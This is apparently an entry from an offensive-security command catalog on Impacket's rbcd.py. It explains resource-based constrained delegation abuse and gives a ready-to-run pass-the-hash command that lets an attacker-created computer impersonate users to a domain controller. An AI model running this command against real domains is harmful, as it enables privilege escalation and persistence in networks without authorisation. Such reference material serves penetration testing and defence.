CatalogWADComs

WAD · Tool

Impacket-rbcd

1 techniqueLinux · Windows · ActiveDirectoryWADComsGPL-3.0

Impacket-RBCD

ExecutionPrivilege EscalationPersistenceLinuxWindowsActiveDirectory

Impacket rbcd.py will modify the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer with security descriptor of another computer. The following command adds the related security descriptor of the created EVILCOMPUTER to the msDS-AllowedToActOnBehalfOfOtherIdentity property of DC01. This basically means that EVILCOMPUTER can get impersonated service tickets for DC01 using getST.py. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Hash: :A9FDFA038C4B75EBC76DC855DD74F0DA Delegate To: DC01$ Delegate From: EVILCOMPUTER$ 

python3 rbcd.py -action write -delegate-to "DC01$" -delegate-from "EVILCOMPUTER$" -dc-ip 10.10.10.1 -hashes :A9FDFA038C4B75EBC76DC855DD74F0DA test.local/john
Evidence
Upstream reference
Environment
Active Directory
Native
Exploitation, PrivEsc, Persistence
Requires
Username, NTLM hash
Services
Kerberos, SMB, LDAP